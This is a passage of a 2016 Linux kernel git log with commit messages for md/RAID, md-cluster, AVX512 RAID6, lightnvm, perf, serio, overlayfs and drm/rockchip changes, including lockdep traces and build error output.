failure register_shrinker() now can fail. When it happens, shrinker.nr_deferred is null. We use it to determine if unregister_shrinker is required. Signed-off-by: Shaohua Li drivers/md/raid5.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 6a0f53ff351dfd10e74752e57b9c27d3397a3c4d Author: Chao Yu Date: Tue Sep 20 10:33:57 2016 +0800 raid5: fix to detect failure of register_shrinker register_shrinker can fail after commit 1d3d4437eae1 ("vmscan: per-node deferred work"), we should detect the failure of it, otherwise we may fail to register shrinker after raid5 configuration was setup successfully. Signed-off-by: Chao Yu Signed-off-by: Shaohua Li drivers/md/raid5.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit 90bcf1338193da4c87fb7492c716f225b907acf4 Author: Shaohua Li Date: Wed Sep 14 14:26:54 2016 -0700 md: fix a potential deadlock lockdep reports a potential deadlock. Fix this by droping the mutex before md_import_device [ 1137.126601] ====================================================== [ 1137.127013] [ INFO: possible circular locking dependency detected ] [ 1137.127013] 4.8.0-rc4+ #538 Not tainted [ 1137.127013] ------------------------------------------------------- [ 1137.127013] mdadm/16675 is trying to acquire lock: [ 1137.127013] (&bdev->bd_mutex){+.+.+.}, at: [] __blkdev_get+0x63/0x450 [ 1137.127013] but task is already holding lock: [ 1137.127013] (detected_devices_mutex){+.+.+.}, at: [] md_ioctl+0x2ac/0x1f50 [ 1137.127013] which lock already depends on the new lock. [ 1137.127013] the existing dependency chain (in reverse order) is: [ 1137.127013] -> #1 (detected_devices_mutex){+.+.+.}: [ 1137.127013] [] lock_acquire+0xb9/0x220 [ 1137.127013] [] mutex_lock_nested+0x67/0x3d0 [ 1137.127013] [] md_autodetect_dev+0x3f/0x90 [ 1137.127013] [] rescan_partitions+0x1a8/0x2c0 [ 1137.127013] [] __blkdev_reread_part+0x71/0xb0 [ 1137.127013] [] blkdev_reread_part+0x25/0x40 [ 1137.127013] [] blkdev_ioctl+0x51b/0xa30 [ 1137.127013] [] block_ioctl+0x41/0x50 [ 1137.127013] [] do_vfs_ioctl+0x96/0x6e0 [ 1137.127013] [] SyS_ioctl+0x41/0x70 [ 1137.127013] [] entry_SYSCALL_64_fastpath+0x18/0xa8 [ 1137.127013] -> #0 (&bdev->bd_mutex){+.+.+.}: [ 1137.127013] [] __lock_acquire+0x1662/0x1690 [ 1137.127013] [] lock_acquire+0xb9/0x220 [ 1137.127013] [] mutex_lock_nested+0x67/0x3d0 [ 1137.127013] [] __blkdev_get+0x63/0x450 [ 1137.127013] [] blkdev_get+0x227/0x350 [ 1137.127013] [] blkdev_get_by_dev+0x36/0x50 [ 1137.127013] [] lock_rdev+0x35/0x80 [ 1137.127013] [] md_import_device+0xb4/0x1b0 [ 1137.127013] [] md_ioctl+0x2f6/0x1f50 [ 1137.127013] [] blkdev_ioctl+0x283/0xa30 [ 1137.127013] [] block_ioctl+0x41/0x50 [ 1137.127013] [] do_vfs_ioctl+0x96/0x6e0 [ 1137.127013] [] SyS_ioctl+0x41/0x70 [ 1137.127013] [] entry_SYSCALL_64_fastpath+0x18/0xa8 [ 1137.127013] other info that might help us debug this: [ 1137.127013] Possible unsafe locking scenario: [ 1137.127013] CPU0 CPU1 [ 1137.127013] ---- ---- [ 1137.127013] lock(detected_devices_mutex); [ 1137.127013] lock(&bdev->bd_mutex); [ 1137.127013] lock(detected_devices_mutex); [ 1137.127013] lock(&bdev->bd_mutex); [ 1137.127013] *** DEADLOCK *** Cc: Cong Wang Signed-off-by: Shaohua Li drivers/md/md.c | 2 ++ 1 file changed, 2 insertions(+) commit f71f1cf97c781db1be8ae0190e0983e1fceac14a Author: Shaohua Li Date: Tue Sep 13 10:28:00 2016 -0700 md/bitmap: fix wrong cleanup if bitmap_create fails, the bitmap is already cleaned up and the returned value is an error number. We can't do the cleanup again. Reported-by: Christophe JAILLET Signed-off-by: Shaohua Li drivers/md/bitmap.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 1dffddddd8315863f1a6d79c512b737864ef6a1a Author: Shaohua Li Date: Thu Sep 8 10:49:06 2016 -0700 raid5: allow arbitrary max_hw_sectors raid5 will split bio to proper size internally, there is no point to use underlayer disk's max_hw_sectors. In my qemu system, without the change, the raid5 only receives 128k size bio, which reduces the chance of bio merge sending to underlayer disks. Signed-off-by: Shaohua Li drivers/md/raid5.c | 2 ++ 1 file changed, 2 insertions(+) commit 694dda62d28674c21c8186d43b8ca0139bf01585 Author: Gayatri Kammela Date: Fri Aug 12 18:03:22 2016 -0700 lib/raid6: Add AVX512 optimized xor_syndrome functions Optimize RAID6 xor_syndrome functions to take advantage of the 512-bit ZMM integer instructions introduced in AVX512. AVX512 optimized xor_syndrome functions, which is simply based on sse2.c written by hpa. The patch was tested and benchmarked before submission on a hardware that has AVX512 flags to support such instructions Cc: H. Peter Anvin Cc: Jim Kukunas Cc: Fenghua Yu Cc: Megha Dey Signed-off-by: Gayatri Kammela Reviewed-by: Fenghua Yu Signed-off-by: Shaohua Li lib/raid6/avx512.c | 281 ++++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 278 insertions(+), 3 deletions(-) commit 161db5d165123a72792e2687ecfd8de146dbae1a Author: Gayatri Kammela Date: Fri Aug 12 18:03:21 2016 -0700 lib/raid6/test/Makefile: Add avx512 gen_syndrome and recovery functions Adding avx512 gen_syndrome and recovery functions so as to allow code to be compiled and tested successfully in userspace. This patch is tested in userspace and improvement in performace is observed. Cc: H. Peter Anvin Cc: Jim Kukunas Cc: Fenghua Yu Signed-off-by: Megha Dey Signed-off-by: Gayatri Kammela Reviewed-by: Fenghua Yu Signed-off-by: Shaohua Li lib/raid6/test/Makefile | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 13c520b2993c9faae6770264d33ff1e1ea4c2ceb Author: Gayatri Kammela Date: Fri Aug 12 18:03:20 2016 -0700 lib/raid6: Add AVX512 optimized recovery functions Optimize RAID6 recovery functions to take advantage of the 512-bit ZMM integer instructions introduced in AVX512. AVX512 optimized recovery functions, which is simply based on recov_avx2.c written by Jim Kukunas This patch was tested and benchmarked before submission on a hardware that has AVX512 flags to support such instructions Cc: Jim Kukunas Cc: H. Peter Anvin Cc: Fenghua Yu Signed-off-by: Megha Dey Signed-off-by: Gayatri Kammela Reviewed-by: Fenghua Yu Signed-off-by: Shaohua Li include/linux/raid/pq.h | 1 + lib/raid6/Makefile | 2 +- lib/raid6/algos.c | 3 + lib/raid6/recov_avx512.c | 388 +++++++++++++++++++++++++++++++++++++++++++++++ 4 files changed, 393 insertions(+), 1 deletion(-) commit e0a491c1296874a1aca51cc68452f12a4d950029 Author: Gayatri Kammela Date: Fri Aug 12 18:03:19 2016 -0700 lib/raid6: Add AVX512 optimized gen_syndrome functions Optimize RAID6 gen_syndrom functions to take advantage of the 512-bit ZMM integer instructions introduced in AVX512. AVX512 optimized gen_syndrom functions, which is simply based on avx2.c written by Yuanhan Liu and sse2.c written by hpa. The patch was tested and benchmarked before submission on a hardware that has AVX512 flags to support such instructions Cc: H. Peter Anvin Cc: Jim Kukunas Cc: Fenghua Yu Signed-off-by: Megha Dey Signed-off-by: Gayatri Kammela Reviewed-by: Fenghua Yu Signed-off-by: Shaohua Li arch/x86/Makefile | 5 +- include/linux/raid/pq.h | 3 + lib/raid6/Makefile | 2 +- lib/raid6/algos.c | 9 ++ lib/raid6/avx512.c | 294 ++++++++++++++++++++++++++++++++++++++++++++++++ lib/raid6/x86.h | 10 ++ 6 files changed, 320 insertions(+), 3 deletions(-) commit d6385db94196b253ae5eb3678fa95cdf1f839fcc Author: Guoqing Jiang Date: Fri Aug 12 13:42:43 2016 +0800 md-cluster: make resync lock also could be interruptted When one node is perform resync or recovery, other nodes can't get resync lock and could block for a while before it holds the lock, so we can't stop array immediately for this scenario. To make array could be stop quickly, we check MD_CLOSING in dlm_lock_sync_interruptible to make us can interrupt the lock request. Reviewed-by: NeilBrown Signed-off-by: Guoqing Jiang Signed-off-by: Shaohua Li drivers/md/md-cluster.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 7bcda7149dd6911bee15a51b22477f592f8b9620 Author: Guoqing Jiang Date: Fri Aug 12 13:42:42 2016 +0800 md-cluster: introduce dlm_lock_sync_interruptible to fix tasks hang When some node leaves cluster, then it's bitmap need to be synced by another node, so "md*_recover" thread is triggered for the purpose. However, with below steps. we can find tasks hang happened either in B or C. 1. Node A create a resyncing cluster raid1, assemble it in other two nodes (B and C). 2. stop array in B and C. 3. stop array in A. linux44:~ # ps aux|grep md|grep D root 5938 0.0 0.1 19852 1964 pts/0 D+ 14:52 0:00 mdadm -S md0 root 5939 0.0 0.0 0 0 ? D 14:52 0:00 [md0_recover] linux44:~ # cat /proc/5939/stack [] dlm_lock_sync+0x71/0x90 [md_cluster] [] recover_bitmaps+0x125/0x220 [md_cluster] [] md_thread+0x16d/0x180 [md_mod] [] kthread+0xb4/0xc0 [] ret_from_fork+0x58/0x90 linux44:~ # cat /proc/5938/stack [] kthread_stop+0x6e/0x120 [] md_unregister_thread+0x40/0x80 [md_mod] [] leave+0x70/0x120 [md_cluster] [] md_cluster_stop+0x14/0x30 [md_mod] [] bitmap_free+0x14b/0x150 [md_mod] [] do_md_stop+0x35b/0x5a0 [md_mod] [] md_ioctl+0x873/0x1590 [md_mod] [] blkdev_ioctl+0x214/0x7d0 [] block_ioctl+0x3d/0x40 [] do_vfs_ioctl+0x2d4/0x4b0 [] SyS_ioctl+0x88/0xa0 [] system_call_fastpath+0x16/0x1b The problem is caused by recover_bitmaps can't reliably abort when the thread is unregistered. So dlm_lock_sync_interruptible is introduced to detect the thread's situation to fix the problem. Reviewed-by: NeilBrown Signed-off-by: Guoqing Jiang Signed-off-by: Shaohua Li drivers/md/md-cluster.c | 40 +++++++++++++++++++++++++++++++++++++++- 1 file changed, 39 insertions(+), 1 deletion(-) commit fccb60a42cdd863aa80f32214ae58ae13936c927 Author: Guoqing Jiang Date: Fri Aug 12 13:42:41 2016 +0800 md-cluster: convert the completion to wait queue Previously, we used completion to sync between require dlm lock and sync_ast, however we will have to expose completion.wait and completion.done in dlm_lock_sync_interruptible (introduced later), it is not a common usage for completion, so convert related things to wait queue. Reviewed-by: NeilBrown Signed-off-by: Guoqing Jiang Signed-off-by: Shaohua Li drivers/md/md-cluster.c | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) commit 5f0aa21da6cc620b08e5f69f51db29cb1f722174 Author: Guoqing Jiang Date: Fri Aug 12 13:42:39 2016 +0800 md-cluster: protect md_find_rdev_nr_rcu with rcu lock We need to use rcu_read_lock/unlock to avoid potential race. Reported-by: Shaohua Li Reviewed-by: NeilBrown Signed-off-by: Guoqing Jiang Signed-off-by: Shaohua Li drivers/md/md-cluster.c | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) commit c20c33f0e2abdb8bab1ec755ed668d7894bf9336 Author: Guoqing Jiang Date: Fri Aug 12 13:42:38 2016 +0800 md-cluster: clean related infos of cluster cluster_info and bitmap_info.nodes also need to be cleared when array is stopped. Reviewed-by: NeilBrown Signed-off-by: Guoqing Jiang Signed-off-by: Shaohua Li drivers/md/md.c | 2 ++ 1 file changed, 2 insertions(+) commit af8d8e6f031589ccf32b08eea91def53db8cfa95 Author: Guoqing Jiang Date: Fri Aug 12 13:42:37 2016 +0800 md: changes for MD_STILL_CLOSED flag When stop clustered raid while it is pending on resync, MD_STILL_CLOSED flag could be cleared since udev rule is triggered to open the mddev. So obviously array can't be stopped soon and returns EBUSY. mdadm -Ss md-raid-arrays.rules set MD_STILL_CLOSED md_open() ... ... ... clear MD_STILL_CLOSED do_md_stop We make below changes to resolve this issue: 1. rename MD_STILL_CLOSED to MD_CLOSING since it is set when stop array and it means we are stopping array. 2. let md_open returns early if CLOSING is set, so no other threads will open array if one thread is trying to close it. 3. no need to clear CLOSING bit in md_open because 1 has ensure the bit is cleared, then we also don't need to test CLOSING bit in do_md_stop. Reviewed-by: NeilBrown Signed-off-by: Guoqing Jiang Signed-off-by: Shaohua Li drivers/md/md.c | 14 ++++++++------ drivers/md/md.h | 5 ++--- 2 files changed, 10 insertions(+), 9 deletions(-) commit e3f924d3dfc672dd1292bc7eb6f2a305c13981ec Author: Guoqing Jiang Date: Fri Aug 12 13:42:36 2016 +0800 md-cluster: remove some unnecessary dlm_unlock_sync Since DLM_LKF_FORCEUNLOCK is used in lockres_free, we don't need to call dlm_unlock_sync before free lock resource. Reviewed-by: NeilBrown Signed-off-by: Guoqing Jiang Signed-off-by: Shaohua Li drivers/md/md-cluster.c | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) commit 400cb454a4205ec1d7311bc3dd8104859c26ba46 Author: Guoqing Jiang Date: Fri Aug 12 13:42:35 2016 +0800 md-cluster: use FORCEUNLOCK in lockres_free For dlm_unlock, we need to pass flag to dlm_unlock as the third parameter instead of set res->flags. Also, DLM_LKF_FORCEUNLOCK is more suitable for dlm_unlock since it works even the lock is on waiting or convert queue. Acked-by: NeilBrown Signed-off-by: Guoqing Jiang Signed-off-by: Shaohua Li drivers/md/md-cluster.c | 26 +++++++++++--------------- 1 file changed, 11 insertions(+), 15 deletions(-) commit e566aef12a166732b7fd85897f8736ccf4fc7814 Author: Guoqing Jiang Date: Fri Aug 12 13:42:34 2016 +0800 md-cluster: call md_kick_rdev_from_array once ack failed The new_disk_ack could return failure if WAITING_FOR_NEWDISK is not set, so we need to kick the dev from array in case failure happened. And we missed to check err before call new_disk_ack othwise we could kick a rdev which isn't in array, thanks for the reminder from Shaohua. Reviewed-by: NeilBrown Signed-off-by: Guoqing Jiang Signed-off-by: Shaohua Li drivers/md/md.c | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) commit d5278220be663753a011910c194d50758cd8dc98 Author: Jiri Olsa Date: Mon Sep 19 15:09:13 2016 +0200 perf hists: Use bigger buffer for stdio headers With node column on big CPUs servers we can run out of stdio header space quite soon. Enlarging header buffer. Signed-off-by: Jiri Olsa Cc: Andi Kleen Cc: David Ahern Cc: Don Zickus Cc: Joe Mario Cc: Namhyung Kim Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/1474290610-23241-5-git-send-email-jolsa@kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/ui/stdio/hist.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 82deb8a242cd8aceaf553c9fb731f91dbdc1f9a6 Author: Jiri Olsa Date: Mon Sep 19 15:09:11 2016 +0200 perf evsel: Remove superfluous initialization of weight Removing superfluous initialization of weight, it's already set to 0 via memset. Signed-off-by: Jiri Olsa Cc: Andi Kleen Cc: David Ahern Cc: Don Zickus Cc: Joe Mario Cc: Namhyung Kim Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/1474290610-23241-3-git-send-email-jolsa@kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/evsel.c | 2 -- 1 file changed, 2 deletions(-) commit 51db013767c46dc0243a8945085b5a229d9bd281 Author: Hans Verkuil Date: Thu Aug 4 11:16:23 2016 -0700 Input: serio - add hangup support The Pulse-Eight USB CEC adapter is a usb device that shows up as a ttyACM0 device. It requires that you run inputattach in order to communicate with it via serio. This all works well, but it would be nice to have a udev rule to automatically start inputattach. That too works OK, but the problem comes when the USB device is unplugged: the tty hangup is never handled by the serio framework so the inputattach utility never exits and you have to kill it manually. By adding this hangup callback the inputattach utility now properly exits as soon as the USB device is unplugged. The udev rule I used on my Debian sid system is: SUBSYSTEM=="tty", KERNEL=="ttyACM[0-9]*", ATTRS{idVendor}=="2548", ATTRS{idProduct}=="1002", ACTION=="add", TAG+="systemd", ENV{SYSTEMD_WANTS}+="pulse8-cec-inputattach@%k.service" And /etc/systemd/system/pulse8-cec-inputattach@.service is as follows: =============================================================== [Unit] Description=inputattach for pulse8-cec device on %I [Service] Type=simple ExecStart=/usr/local/bin/inputattach --pulse8-cec /dev/%I KillMode=process =============================================================== Signed-off-by: Hans Verkuil Tested-by: Hans Verkuil Signed-off-by: Dmitry Torokhov drivers/input/serio/serport.c | 17 ++++++++++++++--- 1 file changed, 14 insertions(+), 3 deletions(-) commit 6a45b3628ce4dcf7498b39c87d475bab6e2a9b24 Author: Richard Weinberger Date: Fri Sep 16 11:45:24 2016 +0200 ovl: Fix info leak in ovl_lookup_temp() The function uses the memory address of a struct dentry as unique id. While the address-based directory entry is only visible to root it is IMHO still worth fixing since the temporary name does not have to be a kernel address. It can be any unique number. Replace it by an atomic integer which is allowed to wrap around. Signed-off-by: Richard Weinberger Reviewed-by: Kees Cook Signed-off-by: Miklos Szeredi Cc: # v3.18+ Fixes: e9be9d5e76e3 ("overlay filesystem") fs/overlayfs/dir.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 1e3aeae4ea710023dda2a6b780183ee371d1a796 Author: Arnd Bergmann Date: Fri Sep 16 14:25:09 2016 +0200 lightnvm: propagate device_add() error code device_add() may fail, and all callers are supposed to check the return value, but one new user in lightnvm doesn't: drivers/lightnvm/sysfs.c: In function 'nvm_sysfs_register_dev': drivers/lightnvm/sysfs.c:184:2: error: ignoring return value of 'device_add', declared with attribute warn_unused_result [-Werror=unused-result] This changes the caller to propagate any error codes, which avoids the warning. Signed-off-by: Arnd Bergmann Fixes: 38c9e260b9f9 ("lightnvm: expose device geometry through sysfs") Signed-off-by: Matias Bjørling Signed-off-by: Jens Axboe drivers/lightnvm/lightnvm.h | 2 +- drivers/lightnvm/sysfs.c | 9 ++++++--- 2 files changed, 7 insertions(+), 4 deletions(-) commit 40267efddc296190d50c61d96daf277151447cf6 Author: Simon A. F. Lund Date: Fri Sep 16 14:25:08 2016 +0200 lightnvm: expose device geometry through sysfs For a host to access an Open-Channel SSD, it has to know its geometry, so that it writes and reads at the appropriate device bounds. Currently, the geometry information is kept within the kernel, and not exported to user-space for consumption. This patch exposes the configuration through sysfs and enables user-space libraries, such as liblightnvm, to use the sysfs implementation to get the geometry of an Open-Channel SSD. The sysfs entries are stored within the device hierarchy, and can be found using the "lightnvm" device type. An example configuration looks like this: /sys/class/nvme/ └── nvme0n1 ├── capabilities: 3 ├── device_mode: 1 ├── erase_max: 1000000 ├── erase_typ: 1000000 ├── flash_media_type: 0 ├── media_capabilities: 0x00000001 ├── media_type: 0 ├── multiplane: 0x00010101 ├── num_blocks: 1022 ├── num_channels: 1 ├── num_luns: 4 ├── num_pages: 64 ├── num_planes: 1 ├── page_size: 4096 ├── prog_max: 100000 ├── prog_typ: 100000 ├── read_max: 10000 ├── read_typ: 10000 ├── sector_oob_size: 0 ├── sector_size: 4096 ├── media_manager: gennvm ├── ppa_format: 0x380830082808001010102008 ├── vendor_opcode: 0 ├── max_phys_secs: 64 └── version: 1 Signed-off-by: Simon A. F. Lund Signed-off-by: Matias Bjørling Signed-off-by: Jens Axboe drivers/lightnvm/Makefile | 2 +- drivers/lightnvm/core.c | 20 +++-- drivers/lightnvm/lightnvm.h | 35 ++++++++ drivers/lightnvm/sysfs.c | 195 +++++++++++++++++++++++++++++++++++++++++++ drivers/nvme/host/core.c | 13 +-- drivers/nvme/host/lightnvm.c | 9 +- drivers/nvme/host/nvme.h | 18 +++- include/linux/lightnvm.h | 3 + 8 files changed, 278 insertions(+), 17 deletions(-) commit b0b4e09c1ae71c4ec33df0616b830ae050006e9b Author: Matias Bjørling Date: Fri Sep 16 14:25:07 2016 +0200 lightnvm: control life of nvm_dev in driver LightNVM compatible device drivers does not have a method to expose LightNVM specific sysfs entries. To enable LightNVM sysfs entries to be exposed, lightnvm device drivers require a struct device to attach it to. To allow both the actual device driver and lightnvm sysfs entries to coexist, the device driver tracks the lifetime of the nvm_dev structure. This patch refactors NVMe and null_blk to handle the lifetime of struct nvm_dev, which eliminates the need for struct gendisk when a lightnvm compatible device is provided. Signed-off-by: Matias Bjørling Signed-off-by: Jens Axboe drivers/block/null_blk.c | 22 ++++++++++++++++++++-- drivers/lightnvm/core.c | 35 ++++++++--------------------------- drivers/nvme/host/core.c | 36 +++++++++++++++--------------------- drivers/nvme/host/lightnvm.c | 31 ++++++++++++++++++++++++------- drivers/nvme/host/nvme.h | 12 +++++++----- include/linux/lightnvm.h | 15 +++++++++------ 6 files changed, 83 insertions(+), 68 deletions(-) commit b21d5b301794ae332eaa6e177d71fe8b77d3664c Author: Matias Bjørling Date: Fri Sep 16 14:25:06 2016 +0200 blk-mq: register device instead of disk Enable devices without a gendisk instance to register itself with blk-mq and expose the associated multi-queue sysfs entries. Signed-off-by: Matias Bjørling Signed-off-by: Jens Axboe block/blk-mq-sysfs.c | 17 +++++++---------- block/blk-sysfs.c | 4 ++-- drivers/md/dm-rq.c | 2 +- include/linux/blk-mq.h | 4 ++-- 4 files changed, 12 insertions(+), 15 deletions(-) commit 9ae2d0aa5046c67dd37cf4b70998ad296e718835 Author: Matias Bjørling Date: Fri Sep 16 14:25:05 2016 +0200 null_blk: refactor to support non-gendisk devices With LightNVM enabled devices, the gendisk structure is not exposed to the user. This hides the device driver specific sysfs entries, and prevents binding of LightNVM geometry information to the device. Refactor the device registration process, so that gendisk and non-gendisk devices are easily managed. Signed-off-by: Matias Bjørling Signed-off-by: Jens Axboe drivers/block/null_blk.c | 110 ++++++++++++++++++++++++++--------------------- 1 file changed, 61 insertions(+), 49 deletions(-) commit ac81bfa9867103c9d50996ec21fa9179b81b727e Author: Matias Bjørling Date: Fri Sep 16 14:25:04 2016 +0200 nvme: refactor namespaces to support non-gendisk devices With LightNVM enabled namespaces, the gendisk structure is not exposed to the user. This prevents LightNVM users from accessing the NVMe device driver specific sysfs entries, and LightNVM namespace geometry. Refactor the revalidation process, so that a namespace, instead of a gendisk, is revalidated. This later allows patches to wire up the sysfs entries up to a non-gendisk namespace. Signed-off-by: Matias Bjørling Signed-off-by: Jens Axboe drivers/lightnvm/core.c | 2 + drivers/nvme/host/core.c | 114 +++++++++++++++++++++++++++---------------- drivers/nvme/host/lightnvm.c | 5 +- 3 files changed, 78 insertions(+), 43 deletions(-) commit e105ddb4a2a13d779311349df2c32fa22a87c406 Author: Geert Uytterhoeven Date: Fri Sep 16 14:25:03 2016 +0200 lightnvm: NVM should depend on HAS_DMA If NO_DMA=y: drivers/built-in.o: In function `nvme_nvm_dev_dma_free': lightnvm.c:(.text+0x23df1a): undefined reference to `dma_pool_free' drivers/built-in.o: In function `nvme_nvm_dev_dma_alloc': lightnvm.c:(.text+0x23df38): undefined reference to `dma_pool_alloc' drivers/built-in.o: In function `nvme_nvm_destroy_dma_pool': lightnvm.c:(.text+0x23df4c): undefined reference to `dma_pool_destroy' drivers/built-in.o: In function `nvme_nvm_create_dma_pool': lightnvm.c:(.text+0x23df7e): undefined reference to `dma_pool_create' and ERROR: "dma_pool_destroy" [drivers/nvme/host/nvme-core.ko] undefined! ERROR: "dma_pool_free" [drivers/nvme/host/nvme-core.ko] undefined! ERROR: "dma_pool_alloc" [drivers/nvme/host/nvme-core.ko] undefined! ERROR: "dma_pool_create" [drivers/nvme/host/nvme-core.ko] undefined! Signed-off-by: Geert Uytterhoeven Signed-off-by: Matias Bjørling Signed-off-by: Jens Axboe drivers/lightnvm/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8c763c9b1072c91aac90e5bc0a2ac2220a6980d7 Author: Sean Paul Date: Fri Sep 16 14:22:03 2016 -0400 drm/rockchip: Balance irq refcount on failure If create_crtc fails in vop bind, ensure the irq refcount is zeroed back out before exiting. Reviewed-by: Daniel Kurtz Signed-off-by: Sean Paul drivers/gpu/drm/rockchip/rockchip_drm_vop.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit d47a7246bb5f2a36f7c26672966e9febeb78bc82 Author: Tomasz Figa Date: Wed Sep 14 21:55:01 2016 +0900 drm/rockchip: Kill vop_plane_state After changes introduced by last patches, there is no useful data stored in vop_plane_state struct. Let's remove it and make the driver use generic plane state alone. Signed-off-by: Tomasz Figa drivers/gpu/drm/rockchip/rockchip_drm_vop.c | 94 +++++------------------------ 1 file changed, 15 insertions(+), 79 deletions(-) commit 41ee436700f41260663d0b201585551745b623d0 Author: Tomasz Figa Date: Wed Sep 14 21:55:00 2016 +0900 drm/rockchip: Always signal event in next vblank after cfg_done This patch makes the driver send the pending vblank event in next vblank following the commit, relying on vblank signalling improvements done in previous patches. This gives us vblank events that always represent the real moment of changes hitting on the screen (which was the case only for complete FB changes before) and lets us remove the manual window update check. Signed-off-by: Tomasz Figa drivers/gpu/drm/rockchip/rockchip_drm_vop.c | 54 ++++++----------------------- 1 file changed, 10 insertions(+), 44 deletions(-) commit 646ec68718067a3e6b029b72a9a2919178f0f201 Author: Tomasz Figa Date: Wed Sep 14 21:54:59 2016 +0900 drm/rockchip: Do not enable vblank without event Originally we needed to enable vblank for any atomic commit to kick the PSR machine, but that was changed and we no longer need to do so from a vblank interrupt. Let's return to original behavior of enabling vblank only if it is really necessary. This essentially reverts commit 5b6804034ae9 ("drm/rockchip: Enable vblank without event"). Signed-off-by: Tomasz Figa drivers/gpu/drm/rockchip/rockchip_drm_vop.c | 15 ++++----------- 1 file changed, 4 insertions(+), 11 deletions(-) commit 81c248f75a130c1ce46c67e8b05b37e8ffbbb33e Author: Tomasz Figa Date: Wed Sep 14 21:54:58 2016 +0900 drm/rockchip: Replace custom wait_for_vblanks with helper Currently the driver uses a custom function to wait for flip to complete after an atomic commit. It was needed before because of two problems: - there is no hardware vblank counter, so the original helper would have a race condition with the vblank interrupt, - the driver didn't support unreferencing cursor framebuffers asynchronously to the commit, which was what the helper expected. Since both problems have been solved by previous patches, we can now make the driver use the generic helper and remove custom waiting code. Signed-off-by: Tomasz Figa drivers/gpu/drm/rockchip/rockchip_drm_drv.h | 1 - drivers/gpu/drm/rockchip/rockchip_drm_fb.c | 64 +---------------------------- drivers/gpu/drm/rockchip/rockchip_drm_vop.c | 14 ------- 3 files changed, 1 insertion(+), 78 deletions(-) commit 47a7eb4597775ecdc29d2630d875a991f0449bf3 Author: Tomasz Figa Date: Wed Sep 14 21:54:57 2016 +0900 drm/rockchip: Unreference framebuffers from flip work Currently the driver waits for vblank and then unreferences old framebuffers from atomic commit code path. This is however breaking the legacy cursor API, which requires the updates to be fully asynchronous. Instead of just adding a special case for cursor, we can have actually smaller amount of code to unreference any changed framebuffer from a flip work. Signed-off-by: Tomasz Figa drivers/gpu/drm/rockchip/rockchip_drm_vop.c | 41 +++++++++++++++++++++++++++++ 1 file changed, 41 insertions(+) commit 7caecdbec1128a934ee628f399110dff8a50c9a1 Author: Tomasz Figa Date: Wed Sep 14 21:54:56 2016 +0900 drm/rockchip: Avoid race with vblank count increment Since VOP does not have a hardware vblank count register, the ongoing commit might be racing with a requested vblank interrupt, which would increment the software vblank counter before the changes being committed actually happen. To avoid this, we can extend .atomic_flush(), so after it sets cfg_done bit, it polls the vblank interrupt bit until it's inactive to make sure that any old vblank interrupt gets to the handler and then uses synchronize_irq(vop->irq) to make sure the handler finishes running. The polling case should happen very rarely, but even if, the total wait time should be relatively low and in practice almost equal to the vop hardirq handler running time. Signed-off-by: Tomasz Figa drivers/gpu/drm/rockchip/rockchip_drm_vop.c | 34 +++++++++++++++++++++++++++++ 1 file changed, 34 insertions(+) commit 65bcb6bcc8b791ed9fa97603c2ed8063d41cedbe Author: Tomasz Figa Date: Wed Sep 14 21:54:55 2016 +0900 drm/rockchip: Get rid of some unnecessary code Current code implements prepare_fb and cleanup_fb callbacks only to grab/release fb references, which is already done by atomic framework when creating/destryoing plane state. Let's remove these unused bits. Signed-off-by: Tomasz Figa drivers/gpu/drm/rockchip/rockchip_drm_vop.c | 18 ------------------ 1 file changed, 18 deletions(-) commit fa374107c1c7c483263e360cba68d078231eeb6a Author: Tomasz Figa Date: Wed Sep 14 21:54:54 2016 +0900 drm/rockchip: Clear interrupt status bits before enabling The enable register only masks the raw status bits to signal CPU interrupt only for enabled interrupts. The status bits are activated regardless of the enable register. This means that we might have an old interrupt event queued, which we are not interested in. To avoid getting a spurious interrupt signalled, we have to clear the old bit before we update the enable register. Signed-off-by: Tomasz Figa drivers/gpu/drm/rockchip/rockchip_drm_vop.c | 3 +++ 1 file changed, 3 insertions(+) commit be91a983eaf272ed0a982e7c92b47e78d7ccc51a Author: Sean Paul Date: Tue Sep 6 14:11:53 2016 -0400 drm/rockchip: Fix up bug in psr state machine The ->set() callback would always be called when transitioning from FLUSH->DISABLE since we assign state to psr->state right above the skip condition. Reported-by: Daniel Kurtz Reviewed-by: Daniel Kurtz Signed-off-by: Sean Paul drivers/gpu/drm/rockchip/rockchip_drm_psr.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit d2f12adc004dd83ce700ecaebabd4f802a586370 Author: Tomeu Vizoso Date: Fri Aug 5 14:59:03 2016 +0200 drm/bridge: analogix_dp: Remove duplicated code Remove code for reading the EDID and DPCD fields and use the helpers instead. Besides the obvious code reduction, other helpers are being added to the core that could be used in this driver and will be good to be able to use them instead of duplicating them. Signed-off-by: Tomeu Vizoso Tested-by: Javier Martinez Canillas Tested-by: Sean Paul Reviewed-by: Sean Paul Reviewed-by: Yakir Yang Signed-off-by: Sean Paul Cc: Javier Martinez Canillas Cc: Mika Kahola Cc: Yakir Yang Cc: Daniel Vetter Cc: Archit Taneja drivers/gpu/drm/bridge/analogix/analogix_dp_core.c | 274 ++++--------- drivers/gpu/drm/bridge/analogix/analogix_dp_core.h | 40 +- drivers/gpu/drm/bridge/analogix/analogix_dp_reg.c | 451 ++++++--------------- 3 files changed, 210 insertions(+), 555 deletions(-) commit 604bac48a7d97b305b126731c443e79a78253582 Author: Sean Paul Date: Thu Aug 18 12:03:22 2016 -0700 drm/rockchip: Reduce psr flush time to 100ms 3 seconds is a bit too conservative, drop this to 100ms for better power 